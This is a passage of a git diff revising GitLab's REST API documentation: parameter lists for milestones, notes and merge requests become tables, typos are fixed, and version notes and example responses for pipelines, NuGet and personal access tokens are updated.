| `created_after` | datetime | no | Return merge requests created on or after the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). |
@@ -467,14 +461,14 @@ Parameters:
| `updated_after` | datetime | no | Return merge requests updated on or after the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). |
| `updated_before` | datetime | no | Return merge requests updated on or before the given time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). |
| `scope` | string | no | Return merge requests for the given scope: `created_by_me`, `assigned_to_me` or `all`. |
-| `author_id` | integer | no | Returns merge requests created by the given user `id`. Mutually exclusive with `author_username`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13060) in GitLab 9.5)_. |
+| `author_id` | integer | no | Returns merge requests created by the given user `id`. Mutually exclusive with `author_username`. |
| `author_username` | string | no | Returns merge requests created by the given `username`. Mutually exclusive with `author_id`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13060) in GitLab 12.10)_. |
-| `assignee_id` | integer | no | Returns merge requests assigned to the given user `id`. `None` returns unassigned merge requests. `Any` returns merge requests with an assignee. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13060) in GitLab 9.5)_. |
+| `assignee_id` | integer | no | Returns merge requests assigned to the given user `id`. `None` returns unassigned merge requests. `Any` returns merge requests with an assignee. |
| `approver_ids` **(PREMIUM)** | integer array | no | Returns merge requests which have specified all the users with the given `id`s as individual approvers. `None` returns merge requests without approvers. `Any` returns merge requests with an approver. |
| `approved_by_ids` **(PREMIUM)** | integer array | no | Returns merge requests which have been approved by all the users with the given `id`s (Max: 5). `None` returns merge requests with no approvals. `Any` returns merge requests with an approval. |
| `reviewer_id` | integer | no | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#reviewer) with the given user `id`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_username`. |
| `reviewer_username` | string | no | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#reviewer) with the given `username`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_id`. |
-| `my_reaction_emoji` | string | no | Return merge requests reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14016) in GitLab 10.0)_. |
+| `my_reaction_emoji` | string | no | Return merge requests reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. |
| `source_branch` | string | no | Return merge requests with the given source branch. |
| `target_branch` | string | no | Return merge requests with the given target branch. |
| `search` | string | no | Search merge requests against their `title` and `description`. |
@@ -976,8 +970,6 @@ Parameters:
## List MR pipelines
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/15454) in GitLab 10.5.
-
Get a list of merge request pipelines.
```plaintext
diff --git a/doc/api/milestones.md b/doc/api/milestones.md
index 84b4e2fe39d..3c1e09eaace 100644
--- a/doc/api/milestones.md
+++ b/doc/api/milestones.md
@@ -27,7 +27,7 @@ Parameters:
| Attribute | Type | Required | Description |
| ---------------------------- | ------ | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `iids[]` | integer array | optional | Return only the milestones having the given `iid` (Note: ignored if `include_parent_milestones` is set as `true`) |
| `state` | string | optional | Return only `active` or `closed` milestones |
| `title` | string | optional | Return only the milestones having the given `title` |
@@ -68,8 +68,10 @@ GET /projects/:id/milestones/:milestone_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
-- `milestone_id` (required) - The ID of the project's milestone
+| Attribute | Type | Required | Description |
+|----------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `milestone_id` | integer | yes | The ID of the project's milestone |
## Create new milestone
@@ -81,11 +83,13 @@ POST /projects/:id/milestones
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
-- `title` (required) - The title of a milestone
-- `description` (optional) - The description of the milestone
-- `due_date` (optional) - The due date of the milestone
-- `start_date` (optional) - The start date of the milestone
+| Attribute | Type | Required | Description |
+|---------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `title` | string | yes | The title of a milestone |
+| `description` | string | no | The description of the milestone |
+| `due_date` | string | no | The due date of the milestone |
+| `start_date` | string | no | The start date of the milestone |
## Edit milestone
@@ -97,13 +101,15 @@ PUT /projects/:id/milestones/:milestone_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
-- `milestone_id` (required) - The ID of a project milestone
-- `title` (optional) - The title of a milestone
-- `description` (optional) - The description of a milestone
-- `due_date` (optional) - The due date of the milestone
-- `start_date` (optional) - The start date of the milestone
-- `state_event` (optional) - The state event of the milestone (close or activate)
+| Attribute | Type | Required | Description |
+|----------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `milestone_id` | integer | yes | The ID of the project's milestone |
+| `title` | string | no | The title of a milestone |
+| `description` | string | no | The description of the milestone |
+| `due_date` | string | no | The due date of the milestone |
+| `start_date` | string | no | The start date of the milestone |
+| `state_event` | string | no | The state event of the milestone (close or activate) |
## Delete project milestone
@@ -115,8 +121,10 @@ DELETE /projects/:id/milestones/:milestone_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
-- `milestone_id` (required) - The ID of the project's milestone
+| Attribute | Type | Required | Description |
+|----------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `milestone_id` | integer | yes | The ID of the project's milestone |
## Get all issues assigned to a single milestone
@@ -128,8 +136,10 @@ GET /projects/:id/milestones/:milestone_id/issues
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
-- `milestone_id` (required) - The ID of a project milestone
+| Attribute | Type | Required | Description |
+|----------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `milestone_id` | integer | yes | The ID of the project's milestone |
## Get all merge requests assigned to a single milestone
@@ -141,8 +151,10 @@ GET /projects/:id/milestones/:milestone_id/merge_requests
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
-- `milestone_id` (required) - The ID of a project milestone
+| Attribute | Type | Required | Description |
+|----------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `milestone_id` | integer | yes | The ID of the project's milestone |
## Promote project milestone to a group milestone
@@ -156,8 +168,10 @@ POST /projects/:id/milestones/:milestone_id/promote
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
-- `milestone_id` (required) - The ID of a project milestone
+| Attribute | Type | Required | Description |
+|----------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `milestone_id` | integer | yes | The ID of the project's milestone |
## Get all burndown chart events for a single milestone **(PREMIUM)**
@@ -172,5 +186,7 @@ GET /projects/:id/milestones/:milestone_id/burndown_events
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user
-- `milestone_id` (required) - The ID of a project milestone
+| Attribute | Type | Required | Description |
+|----------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
+| `milestone_id` | integer | yes | The ID of the project's milestone |
diff --git a/doc/api/namespaces.md b/doc/api/namespaces.md
index 03aefaf4380..9a52b0983a7 100644
--- a/doc/api/namespaces.md
+++ b/doc/api/namespaces.md
@@ -4,7 +4,7 @@ group: Access
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Namespaces API
+# Namespaces API **(FREE)**
Usernames and group names fall under a special category called
[namespaces](../user/group/index.md#namespaces).
diff --git a/doc/api/notes.md b/doc/api/notes.md
index 6a3db0a2aab..879ffaca191 100644
--- a/doc/api/notes.md
+++ b/doc/api/notes.md
@@ -54,7 +54,7 @@ GET /projects/:id/issues/:issue_iid/notes?sort=asc&order_by=updated_at
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
| `issue_iid` | integer | yes | The IID of an issue
| `sort` | string | no | Return issue notes sorted in `asc` or `desc` order. Default is `desc`
| `order_by` | string | no | Return issue notes ordered by `created_at` or `updated_at` fields. Default is `created_at`
@@ -120,9 +120,11 @@ GET /projects/:id/issues/:issue_iid/notes/:note_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
-- `issue_iid` (required) - The IID of a project issue
-- `note_id` (required) - The ID of an issue note
+| Attribute | Type | Required | Description |
+|-------------|----------------|----------|---------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
+| `issue_iid` | integer | yes | The IID of a project issue |
+| `note_id` | integer | yes | The ID of an issue note |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/notes/1"
@@ -138,11 +140,13 @@ POST /projects/:id/issues/:issue_iid/notes
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
-- `issue_iid` (required) - The IID of an issue
-- `body` (required) - The content of a note. Limited to 1,000,000 characters.
-- `confidential` (optional) - The confidential flag of a note. Default is false.
-- `created_at` (optional) - Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights)
+| Attribute | Type | Required | Description |
+|----------------|----------------|----------|------------------------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
+| `issue_iid` | integer | yes | The IID of an issue. |
+| `body` | string | yes | The content of a note. Limited to 1,000,000 characters. |
+| `confidential` | boolean | no | The confidential flag of a note. Default is false. |
+| `created_at` | string | no | Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/notes?body=note"
@@ -158,11 +162,13 @@ PUT /projects/:id/issues/:issue_iid/notes/:note_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding).
-- `issue_iid` (required) - The IID of an issue.
-- `note_id` (required) - The ID of a note.
-- `body` (optional) - The content of a note. Limited to 1,000,000 characters.
-- `confidential` (optional) - The confidential flag of a note.
+| Attribute | Type | Required | Description |
+|----------------|----------------|----------|----------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
+| `issue_iid` | integer | yes | The IID of an issue. |
+| `note_id` | integer | yes | The ID of a note. |
+| `body` | string | no | The content of a note. Limited to 1,000,000 characters. |
+| `confidential` | boolean | no | The confidential flag of a note. |
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/notes?body=note"
@@ -180,7 +186,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `issue_iid` | integer | yes | The IID of an issue |
| `note_id` | integer | yes | The ID of a note |
@@ -203,7 +209,7 @@ GET /projects/:id/snippets/:snippet_id/notes?sort=asc&order_by=updated_at
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
| `snippet_id` | integer | yes | The ID of a project snippet
| `sort` | string | no | Return snippet notes sorted in `asc` or `desc` order. Default is `desc`
| `order_by` | string | no | Return snippet notes ordered by `created_at` or `updated_at` fields. Default is `created_at`
@@ -222,9 +228,11 @@ GET /projects/:id/snippets/:snippet_id/notes/:note_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
-- `snippet_id` (required) - The ID of a project snippet
-- `note_id` (required) - The ID of a snippet note
+| Attribute | Type | Required | Description |
+|--------------|----------------|----------|---------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
+| `snippet_id` | integer | yes | The ID of a project snippet |
+| `note_id` | integer | yes | The ID of a snippet note |
```json
{
@@ -260,10 +268,12 @@ POST /projects/:id/snippets/:snippet_id/notes
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
-- `snippet_id` (required) - The ID of a snippet
-- `body` (required) - The content of a note. Limited to 1,000,000 characters.
-- `created_at` (optional) - Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights)
+| Attribute | Type | Required | Description |
+|--------------|----------------|----------|------------------------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
+| `snippet_id` | integer | yes | The ID of a snippet |
+| `body` | string | yes | The content of a note. Limited to 1,000,000 characters. |
+| `created_at` | string | no | Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/snippet/11/notes?body=note"
@@ -279,10 +289,12 @@ PUT /projects/:id/snippets/:snippet_id/notes/:note_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
-- `snippet_id` (required) - The ID of a snippet
-- `note_id` (required) - The ID of a note
-- `body` (required) - The content of a note. Limited to 1,000,000 characters.
+| Attribute | Type | Required | Description |
+|--------------|----------------|----------|------------------------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
+| `snippet_id` | integer | yes | The ID of a snippet |
+| `note_id` | integer | yes | The ID of a snippet note |
+| `body` | string | yes | The content of a note. Limited to 1,000,000 characters. |
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/snippets/11/notes?body=note"
@@ -300,7 +312,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `snippet_id` | integer | yes | The ID of a snippet |
| `note_id` | integer | yes | The ID of a note |
@@ -321,7 +333,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/notes?sort=asc&order_by=upda
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
| `merge_request_iid` | integer | yes | The IID of a project merge request
| `sort` | string | no | Return merge request notes sorted in `asc` or `desc` order. Default is `desc`
| `order_by` | string | no | Return merge request notes ordered by `created_at` or `updated_at` fields. Default is `created_at`
@@ -340,9 +352,11 @@ GET /projects/:id/merge_requests/:merge_request_iid/notes/:note_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
-- `merge_request_iid` (required) - The IID of a project merge request
-- `note_id` (required) - The ID of a merge request note
+| Attribute | Type | Required | Description |
+|---------------------|----------------|----------|---------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
+| `merge_request_iid` | integer | yes | The IID of a project merge request |
+| `note_id` | integer | yes | The ID of a merge request note |
```json
{
@@ -383,10 +397,12 @@ POST /projects/:id/merge_requests/:merge_request_iid/notes
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
-- `merge_request_iid` (required) - The IID of a merge request
-- `body` (required) - The content of a note. Limited to 1,000,000 characters.
-- `created_at` (optional) - Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights)
+| Attribute | Type | Required | Description |
+|---------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
+| `merge_request_iid` | integer | yes | The IID of a project merge request |
+| `body` | string | yes | The content of a note. Limited to 1,000,000 characters. |
+| `created_at` | string | no | Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) |
### Modify existing merge request note
@@ -398,10 +414,12 @@ PUT /projects/:id/merge_requests/:merge_request_iid/notes/:note_id
Parameters:
-- `id` (required) - The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding)
-- `merge_request_iid` (required) - The IID of a merge request
-- `note_id` (required) - The ID of a note
-- `body` (required) - The content of a note. Limited to 1,000,000 characters.
+| Attribute | Type | Required | Description |
+|---------------------|----------------|----------|---------------------------------------------------------------------------------|
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
+| `merge_request_iid` | integer | yes | The IID of a project merge request |
+| `note_id` | integer | no | The ID of a note |
+| `body` | string | yes | The content of a note. Limited to 1,000,000 characters. |
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/merge_requests/11/notes?body=note"
@@ -419,7 +437,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `merge_request_iid` | integer | yes | The IID of a merge request |
| `note_id` | integer | yes | The ID of a note |
@@ -440,7 +458,7 @@ GET /groups/:id/epics/:epic_id/notes?sort=asc&order_by=updated_at
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of a group epic |
| `sort` | string | no | Return epic notes sorted in `asc` or `desc` order. Default is `desc` |
| `order_by` | string | no | Return epic notes ordered by `created_at` or `updated_at` fields. Default is `created_at` |
@@ -461,7 +479,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
| `note_id` | integer | yes | The ID of a note |
@@ -502,7 +520,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
| `body` | string | yes | The content of a note. Limited to 1,000,000 characters. |
@@ -522,7 +540,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
| `note_id` | integer | yes | The ID of a note |
| `body` | string | yes | The content of a note. Limited to 1,000,000 characters. |
@@ -543,7 +561,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) |
| `epic_id` | integer | yes | The ID of an epic |
| `note_id` | integer | yes | The ID of a note |
diff --git a/doc/api/oauth2.md b/doc/api/oauth2.md
index 8a8a54a753a..778c229e3c8 100644
--- a/doc/api/oauth2.md
+++ b/doc/api/oauth2.md
@@ -98,7 +98,7 @@ Before starting the flow, generate the `STATE`, the `CODE_VERIFIER` and the `COD
This page asks the user to approve the request from the app to access their
account based on the scopes specified in `REQUESTED_SCOPES`. The user is then
redirected back to the specified `REDIRECT_URI`. The [scope parameter](https://github.com/doorkeeper-gem/doorkeeper/wiki/Using-Scopes#requesting-particular-scopes)
- is a space separated list of scopes associated with the user.
+ is a space-separated list of scopes associated with the user.
For example,`scope=read_user+profile` requests the `read_user` and `profile` scopes.
The redirect includes the authorization `code`, for example:
@@ -126,7 +126,7 @@ Before starting the flow, generate the `STATE`, the `CODE_VERIFIER` and the `COD
"created_at": 1607635748
}
```
-
+
1. To retrieve a new `access_token`, use the `refresh_token` parameter. Refresh tokens may
be used even after the `access_token` itself expires. This request:
- Invalidates the existing `access_token` and `refresh_token`.
@@ -178,7 +178,7 @@ be used as a CSRF token.
This page asks the user to approve the request from the app to access their
account based on the scopes specified in `REQUESTED_SCOPES`. The user is then
redirected back to the specified `REDIRECT_URI`. The [scope parameter](https://github.com/doorkeeper-gem/doorkeeper/wiki/Using-Scopes#requesting-particular-scopes)
- is a space separated list of scopes associated with the user.
+ is a space-separated list of scopes associated with the user.
For example,`scope=read_user+profile` requests the `read_user` and `profile` scopes.
The redirect includes the authorization `code`, for example:
@@ -206,7 +206,7 @@ be used as a CSRF token.
"created_at": 1607635748
}
```
-
+
1. To retrieve a new `access_token`, use the `refresh_token` parameter. Refresh tokens may
be used even after the `access_token` itself expires. This request:
- Invalidates the existing `access_token` and `refresh_token`.
@@ -266,7 +266,7 @@ https://gitlab.example.com/oauth/authorize?client_id=APP_ID&redirect_uri=REDIREC
This prompts the user to approve the applications access to their account
based on the scopes specified in `REQUESTED_SCOPES` and then redirect back to
the `REDIRECT_URI` you provided. The [scope parameter](https://github.com/doorkeeper-gem/doorkeeper/wiki/Using-Scopes#requesting-particular-scopes)
- is a space separated list of scopes you want to have access to (for example, `scope=read_user+profile`
+ is a space-separated list of scopes you want to have access to (for example, `scope=read_user+profile`
would request `read_user` and `profile` scopes). The redirect
includes a fragment with `access_token` as well as token details in GET
parameters, for example:
diff --git a/doc/api/packages/nuget.md b/doc/api/packages/nuget.md
index aee3a4fe542..f25a3a25754 100644
--- a/doc/api/packages/nuget.md
+++ b/doc/api/packages/nuget.md
@@ -287,12 +287,13 @@ Example response:
Returns metadata for a specific package version:
```plaintext
-GET <route-prefix>/metadata/:package_name/index
+GET <route-prefix>/metadata/:package_name/:package_version
```
-| Attribute | Type | Required | Description |
-| -------------- | ------ | -------- | ----------- |
-| `package_name` | string | yes | The name of the package. |
+| Attribute | Type | Required | Description |
+| ----------------- | ------ | -------- | ----------- |
+| `package_name` | string | yes | The name of the package. |
+| `package_version` | string | yes | The version of the package. |
```shell
curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/1.3.0.17"
diff --git a/doc/api/personal_access_tokens.md b/doc/api/personal_access_tokens.md
index 9c9551a5103..b51866fe9b1 100644
--- a/doc/api/personal_access_tokens.md
+++ b/doc/api/personal_access_tokens.md
@@ -40,8 +40,9 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
"scopes": [
"api"
],
- "active": true,
"user_id": 24,
+ "last_used_at": "2021-10-06T17:58:37.550Z",
+ "active": true,
"expires_at": null
}
]
@@ -61,8 +62,9 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a
"scopes": [
"api"
],
- "active": true,
"user_id": 3,
+ "last_used_at": "2021-10-06T17:58:37.550Z",
+ "active": true,
"expires_at": null
}
]
diff --git a/doc/api/pipelines.md b/doc/api/pipelines.md
index 4dddbbc7826..d850113f9b6 100644
--- a/doc/api/pipelines.md
+++ b/doc/api/pipelines.md
@@ -15,6 +15,8 @@ Read more on [pagination](index.md#pagination).
## List project pipelines
+> `iid` in response [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/342223) in GitLab 14.6.
+
List pipelines in a project. Child pipelines are not included in the results,
but you can [get child pipeline](pipelines.md#get-a-single-pipeline) individually.
@@ -50,7 +52,7 @@ Example of response
"iid": 12,
"project_id": 1,
"status": "pending",
- "soure": "push",
+ "source": "push",
"ref": "new-pipeline",
"sha": "a91957a858320c0e17f3a0eca7cfacbff50ea29a",
"web_url": "https://example.com/foo/bar/pipelines/47",
@@ -62,7 +64,7 @@ Example of response
"iid": 13,
"project_id": 1,
"status": "pending",
- "soure": "web",
+ "source": "web",
"ref": "new-pipeline",
"sha": "eb94b618fb5865b26e80fdd8ae531b7a63ad851a",
"web_url": "https://example.com/foo/bar/pipelines/48",
@@ -74,6 +76,8 @@ Example of response
## Get a single pipeline
+> `iid` in response [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/342223) in GitLab 14.6.
+
Get one pipeline from a project.
You can also get a single [child pipeline](../ci/pipelines/parent_child_pipelines.md).
@@ -267,6 +271,8 @@ Sample response:
## Create a new pipeline
+> `iid` in response [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/342223) in GitLab 14.6.
+
```plaintext
POST /projects/:id/pipeline
```
@@ -275,7 +281,7 @@ POST /projects/:id/pipeline
|-------------|---------|----------|---------------------|
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `ref` | string | yes | Reference to commit |
-| `variables` | array | no | An array containing the variables available in the pipeline, matching the structure `[{ 'key': 'UPLOAD_TO_S3', 'variable_type': 'file', 'value': 'true' }]` |
+| `variables` | array | no | An array containing the variables available in the pipeline, matching the structure `[{ 'key': 'UPLOAD_TO_S3', 'variable_type': 'file', 'value': 'true' }, {'key': 'TEST', 'value': 'test variable'}]`. If `variable_type` is excluded, it defaults to `env_var`. |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/pipeline?ref=main"
@@ -316,6 +322,8 @@ Example of response
## Retry jobs in a pipeline
+> `iid` in response [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/342223) in GitLab 14.6.
+
```plaintext
POST /projects/:id/pipelines/:pipeline_id/retry
```
diff --git a/doc/api/project_badges.md b/doc/api/project_badges.md
index 2e4ab0e2b8c..c6f979c1643 100644
--- a/doc/api/project_badges.md
+++ b/doc/api/project_badges.md
@@ -11,7 +11,7 @@ type: reference, api
## Placeholder tokens
-Badges support placeholders that are replaced in real time in both the link and image URL. The allowed placeholders are:
+Badges support placeholders that are replaced in real-time in both the link and image URL. The allowed placeholders are:
<!-- vale gitlab.Spelling = NO -->
diff --git a/doc/api/project_clusters.md b/doc/api/project_clusters.md
index d2a574b5cbd..129b064c650 100644
--- a/doc/api/project_clusters.md
+++ b/doc/api/project_clusters.md
@@ -384,7 +384,6 @@ Example response:
}
}
}
-
```
## Delete project cluster
diff --git a/doc/api/project_import_export.md b/doc/api/project_import_export.md
index 92b1558551d..39c68041725 100644
--- a/doc/api/project_import_export.md
+++ b/doc/api/project_import_export.md
@@ -225,6 +225,7 @@ The passed override parameters take precedence over all values defined in the ex
```shell
curl --request POST \
--header "PRIVATE-TOKEN: <your_access_token>" \
+ --header "Content-Type: application/json" \
--url "https://gitlab.example.com/api/v4/projects/remote-import" \
--data '{"url":"https://remoteobject/file?token=123123","path":"remote-project"}'
```
@@ -293,6 +294,7 @@ The `failed_relations` array is capped to 100 items.
"path_with_namespace": "gitlab-org/gitlab-test",
"created_at": "2017-08-29T04:36:44.383Z",
"import_status": "started",
+ "import_type": "github",
"correlation_id": "mezklWso3Za",
"failed_relations": [
{
@@ -301,8 +303,58 @@ The `failed_relations` array is capped to 100 items.
"exception_class": "RuntimeError",
"exception_message": "A failure occurred",
"source": "custom error context",
- "relation_name": "merge_requests"
+ "relation_name": "merge_requests",
+ "line_number": 0
}
]
}
